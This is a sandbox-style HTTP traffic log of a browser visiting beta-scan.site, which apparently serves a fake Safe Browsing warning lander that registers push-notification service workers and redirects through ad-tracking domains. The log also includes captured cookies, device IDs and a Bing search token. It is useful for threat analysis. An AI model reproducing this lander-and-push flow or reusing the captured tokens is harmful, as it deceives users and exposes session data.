Source: global traffic	HTTP traffic detected: GET /landers/gsb/GSB/files/images/icon_2.png HTTP/1.1Host: beta-scan.siteConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
Source: global traffic	HTTP traffic detected: GET /landers/gsb/GSB/files/images/atten.png HTTP/1.1Host: beta-scan.siteConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
Source: global traffic	HTTP traffic detected: GET /pfe/current/micro.tag.min.js?z=6508804&sw=/sw-check-permissions-fd64c.js HTTP/1.1Host: redrotou.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://beta-scan.site/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /f/sdk.js?z=1211351 HTTP/1.1Host: sdk4push.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://beta-scan.site/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /translate_a/element.js?cb=googleTranslateElementInit HTTP/1.1Host: translate.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlaHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://beta-scan.site/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /landers/gsb/GSB/files/images/action_2.gif HTTP/1.1Host: beta-scan.siteConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
Source: global traffic	HTTP traffic detected: GET /landers/gsb/GSB/files/images/action_1.gif HTTP/1.1Host: beta-scan.siteConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
Source: global traffic	HTTP traffic detected: GET /landers/gsb/GSB/files/images/action_3.gif HTTP/1.1Host: beta-scan.siteConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
Source: global traffic	HTTP traffic detected: GET /zone?pub=0&zone_id=6508804&is_mobile=false&domain=beta-scan.site&var=&ymid=&var_3=&var_4=&dsig=&tg=1&sw=3.1.560&trace_id=afd3b0fa-fea6-4dbc-aad1-0dc291521744&action=settings&ch=eyJhcmNoaXRlY3R1cmUiOiJ4ODYiLCJiaXRuZXNzIjoiNjQiLCJicmFuZHMiOlt7ImJyYW5kIjoiR29vZ2xlIENocm9tZSIsInZlcnNpb24iOiIxMTcifSx7ImJyYW5kIjoiTm90O0E9QnJhbmQiLCJ2ZXJzaW9uIjoiOCJ9LHsiYnJhbmQiOiJDaHJvbWl1bSIsInZlcnNpb24iOiIxMTcifV0sImZ1bGxWZXJzaW9uTGlzdCI6W3siYnJhbmQiOiJHb29nbGUgQ2hyb21lIiwidmVyc2lvbiI6IjExNy4wLjU5MzguMTQ5In0seyJicmFuZCI6Ik5vdDtBPUJyYW5kIiwidmVyc2lvbiI6IjguMC4wLjAifSx7ImJyYW5kIjoiQ2hyb21pdW0iLCJ2ZXJzaW9uIjoiMTE3LjAuNTkzOC4xNDkifV0sIm1vYmlsZSI6ZmFsc2UsIm1vZGVsIjoiIiwicGxhdGZvcm0iOiJXaW5kb3dzIiwicGxhdGZvcm1WZXJzaW9uIjoiMTAuMC4wIiwid293NjQiOmZhbHNlfQ== HTTP/1.1Host: redrotou.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://beta-scan.siteSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://beta-scan.site/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sw-check-permissions-fd64c.js?zoneId=6508804 HTTP/1.1Host: beta-scan.siteConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Purpose: prefetchSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id=Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
Source: global traffic	HTTP traffic detected: GET /pfe/current/micro.tag.min.js?z=6508804&sw=/sw-check-permissions-fd64c.js HTTP/1.1Host: redrotou.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /gid.js?pub=0&userId=&zoneId=6508804&checkDuplicate=true&ymid=&var=&source=pusher HTTP/1.1Host: my.rtmark.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://beta-scan.siteSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://beta-scan.site/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /translate_a/element.js?cb=googleTranslateElementInit HTTP/1.1Host: translate.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlaHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ab HTTP/1.1Host: evoke-windowsservices-tas.msedge.netCache-Control: no-store, no-cacheX-PHOTOS-CALLERID: 9NMPJ99VJBWVX-EVOKE-RING: X-WINNEXT-RING: PublicX-WINNEXT-TELEMETRYLEVEL: BasicX-WINNEXT-OSVERSION: 10.0.19045.0X-WINNEXT-APPVERSION: 1.23082.131.0X-WINNEXT-PLATFORM: DesktopX-WINNEXT-CANTAILOR: FalseX-MSEDGE-CLIENTID: {c1afbad7-f7da-40f2-92f9-8846a91d69bd}X-WINNEXT-PUBDEVICEID: dbfen2nYS7HW6ON4OdOknKxxv2CCI5LJBTojzDztjwI=If-None-Match: 2056388360_-1434155563Accept-Encoding: gzip, deflate, br
Source: global traffic	HTTP traffic detected: GET /f/sdk.js?z=1211351 HTTP/1.1Host: sdk4push.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /zone?pub=0&zone_id=6508804&is_mobile=false&domain=beta-scan.site&var=&ymid=&var_3=&var_4=&dsig=&tg=1&sw=3.1.560&trace_id=afd3b0fa-fea6-4dbc-aad1-0dc291521744&action=settings&ch=eyJhcmNoaXRlY3R1cmUiOiJ4ODYiLCJiaXRuZXNzIjoiNjQiLCJicmFuZHMiOlt7ImJyYW5kIjoiR29vZ2xlIENocm9tZSIsInZlcnNpb24iOiIxMTcifSx7ImJyYW5kIjoiTm90O0E9QnJhbmQiLCJ2ZXJzaW9uIjoiOCJ9LHsiYnJhbmQiOiJDaHJvbWl1bSIsInZlcnNpb24iOiIxMTcifV0sImZ1bGxWZXJzaW9uTGlzdCI6W3siYnJhbmQiOiJHb29nbGUgQ2hyb21lIiwidmVyc2lvbiI6IjExNy4wLjU5MzguMTQ5In0seyJicmFuZCI6Ik5vdDtBPUJyYW5kIiwidmVyc2lvbiI6IjguMC4wLjAifSx7ImJyYW5kIjoiQ2hyb21pdW0iLCJ2ZXJzaW9uIjoiMTE3LjAuNTkzOC4xNDkifV0sIm1vYmlsZSI6ZmFsc2UsIm1vZGVsIjoiIiwicGxhdGZvcm0iOiJXaW5kb3dzIiwicGxhdGZvcm1WZXJzaW9uIjoiMTAuMC4wIiwid293NjQiOmZhbHNlfQ== HTTP/1.1Host: redrotou.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /client/config?cc=CH&setlang=en-CH HTTP/1.1X-Search-CortanaAvailableCapabilities: NoneX-Search-SafeSearch: ModerateAccept-Encoding: gzip, deflateX-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A}X-UserAgeClass: UnknownX-BM-Market: CHX-BM-DateFormat: dd/MM/yyyyX-Device-OSSKU: 48X-BM-DTZ: -240X-DeviceID: 01000A41090080B6X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66EX-Search-TimeZone: Bias=300; DaylightBias=-60; TimeZoneKeyName=Eastern Standard TimeX-BM-Theme: 000000;0078d7X-Search-RPSToken: t%3DEwDoAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAYyPFNLXP1hAhSIOhR0APQnSyFEzDcBEUbfnAcSMDF9OhNOuW2KvjJ60WuahEWt6oA2egj7i5gSfWYJtSlDXk2VI1irXc/a4MLwfeuw4b1IOJe55g5bm5JAfSeo1fMoi2ssVo8uDjn3Pq1PCkyEXpWGml7CibERa8pP5UfKl77i0GGXZHRVEjo9C0Scq6Z0esWeANPy09a0Q5HjRxlyNv3XYi8u1kD09fn/pMUR%2BjXKTCHNC%2BLEEcvIAlN7YJYE4rnZToKC%2BSFPIgMHfzfP1J0sI8WD9B3FFksxhYoziV1pq/G6PsHXWzKAJiyv38FouF1iWNylpfTx3tLabgUIWuYYQZgAAEJ7RtevDNhczTuAkA3LbHXOwAd9kwMmY0MH5dtXVTtR19GCGUh7UqAS5Rodo8siuki9JjjKrsg3PElh4lmBVCwMdB1xbo4B%2BRdRLnDbKL0MSSM0vxG0LqpGQisFMywTr2tv9XN6zXtKoTP8wDgSbBg8%2Bluy6QFIO9MnYIwOPm/yjcMs4CkMjZrqCYvCILkIDe9vJBjPeytHeFLFO4yGK91Iw2ftDuNH5FlWQqGxxS%2BZZKIgROtfG3LelTgMpdmwy1AGB2WqeQbl//rmT5a8t1%2BsBIyf%2BOvnshxvFAloGfKzFuSi4DPhzlO3p/jNLvy%2BitZ1v83zfEbB15BgtL9h6r%2BB3AugrPMvrnNU%2BPhsVn4gh4/nA7gkfc9RR3Ets7z/9DVbHOI8JzPzXHwzK5Pxi9tL6ebjzsKnW3nRLn1fFFJSgk8kUdWUxJ77yf4Up4I2ndjjLzvVYtOk5yCII4u5AWHIWF2HAk71zHm57t4gMFgWxC9qtzedGKULzZ%2BifTLm/K7cSlmSj89aG4e4IhuST%2BFxnL6y9QWXjky048w90KmCQS5HlThx6uDl4DTXgiViti/XjaQ6gQ6eCc8e7pRaZO8mhZdcB%26p%3DX-Agent-DeviceId: 01000A41090080B6X-BM-CBT: 1727968739User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045X-Device-isOptin: falseAccept-language: en-GB, en, en-USX-Device-Touch: falseX-Device-ClientSession: 3C1514128A404081B7041E19861EFA6FX-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIHost: www.bing.comConnection: Keep-AliveCookie: SRCHUID=V=2&GUID=C4EAB6C130004333A34B5668AE4E4D10&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=en; MUID=4590362BB5CF472B95BBEDB3112D4B7B; MUIDB=4590362BB5CF472B95BBEDB3112D4B7B
Source: global traffic	HTTP traffic detected: GET /gid.js?pub=0&userId=&zoneId=6508804&checkDuplicate=true&ymid=&var=&source=pusher HTTP/1.1Host: my.rtmark.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ID=0180ea07f3dc4373ec03d20d44583ff0
Source: global traffic	HTTP traffic detected: GET /sync?user_id=z7YIJmA5V79T4qGeMcPXsF HTTP/1.1Host: uidsync.netConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/jsonAccept: /Origin: https://beta-scan.siteSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://beta-scan.site/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync?user_id=z7YIJmA5V79T4qGeMcPXsF HTTP/1.1Host: uidsync.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: rauid=z7YIJmA5V79T4qGeMcPXsF
Source: global traffic	HTTP traffic detected: GET /1211351.sw.js HTTP/1.1Host: beta-scan.siteConnection: keep-aliveCache-Control: max-age=0Accept: /Service-Worker: scriptSec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: serviceworkerReferer: https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
Source: global traffic	HTTP traffic detected: GET /f/sw.js HTTP/1.1Host: sdk4push.comConnection: keep-aliveCache-Control: max-age=0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://beta-scan.site/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /c1d5l2k.php?lp=1&uclick=e2371nwj HTTP/1.1Host: beta-scan.siteConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id=Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
Source: global traffic	HTTP traffic detected: GET /event HTTP/1.1Host: redrotou.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /t/clk?id=ovKROc8M1xSkmE0uk6lXDT4&s1=f67ece2371nwj2e8&s2=11 HTTP/1.1Host: avkk.newplanexcel.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://beta-scan.site/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /c1d5l2k.php?lp=1&uclick=e2371nwj HTTP/1.1Host: beta-scan.siteConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id=Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
Source: global traffic	HTTP traffic detected: GET /1211351.sw.js HTTP/1.1Host: beta-scan.siteConnection: keep-aliveCache-Control: max-age=0Accept: /Service-Worker: scriptSec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: serviceworkerReferer: https://beta-scan.site/1211351.sw.jsUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/enIf-None-Match: "66d31066-70"If-Modified-Since: Sat, 31 Aug 2024 12:45:26 GMT
Source: global traffic	HTTP traffic detected: GET /t/clk?id=ovKROc8M1xSkmE0uk6lXDT4&s1=f67ece2371nwj2e8&s2=11 HTTP/1.1Host: avkk.newplanexcel.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://beta-scan.site/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /f/sw.js HTTP/1.1Host: sdk4push.comConnection: keep-aliveAccept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://beta-scan.site/1211351.sw.jsUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /c1d5l2k.php?lp=1&uclick=e2371nwj HTTP/1.1Host: beta-scan.siteConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id=Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
Source: global traffic	HTTP traffic detected: GET /1211351.sw.js HTTP/1.1Host: beta-scan.siteConnection: keep-aliveCache-Control: max-age=0Accept: /Service-Worker: scriptSec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: serviceworkerReferer: https://beta-scan.site/1211351.sw.jsUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/enIf-None-Match: "66d31066-70"If-Modified-Since: Sat, 31 Aug 2024 12:45:26 GMT
Source: global traffic	HTTP traffic detected: GET /t/clk?id=ovKROc8M1xSkmE0uk6lXDT4&s1=f67ece2371nwj2e8&s2=11 HTTP/1.1Host: avkk.newplanexcel.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://beta-scan.site/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: AWSALB=3khX0y51rfhlTotRwgQOA4n5//kxR1xfkDCYgFhD3C8gXaTSyXtyzcYh703XbI34LRNhclEl7S6joICLC1kS5R25XJUyG+1x5uHM4/s866fx98PJJOGyNsE+Nzb/; AWSALBCORS=3khX0y51rfhlTotRwgQOA4n5//kxR1xfkDCYgFhD3C8gXaTSyXtyzcYh703XbI34LRNhclEl7S6joICLC1kS5R25XJUyG+1x5uHM4/s866fx98PJJOGyNsE+Nzb/; uip="[\"KmtPCTVZ3T\"\054 {\"onlm9B\": \"0A63gw8\"}]:1swNbn:TLbvDq3GZUIcG9E1KwDBcExgZZ8"; ydt_89d1392973ad4570a8eb9e51cbfc5910="[\"9853f0ab-6eb4-4a6c-9633-4f18a27cc5ff\"]:1swNbo:KvVIln1qNAe2Okj4o04tPWKRmXA"
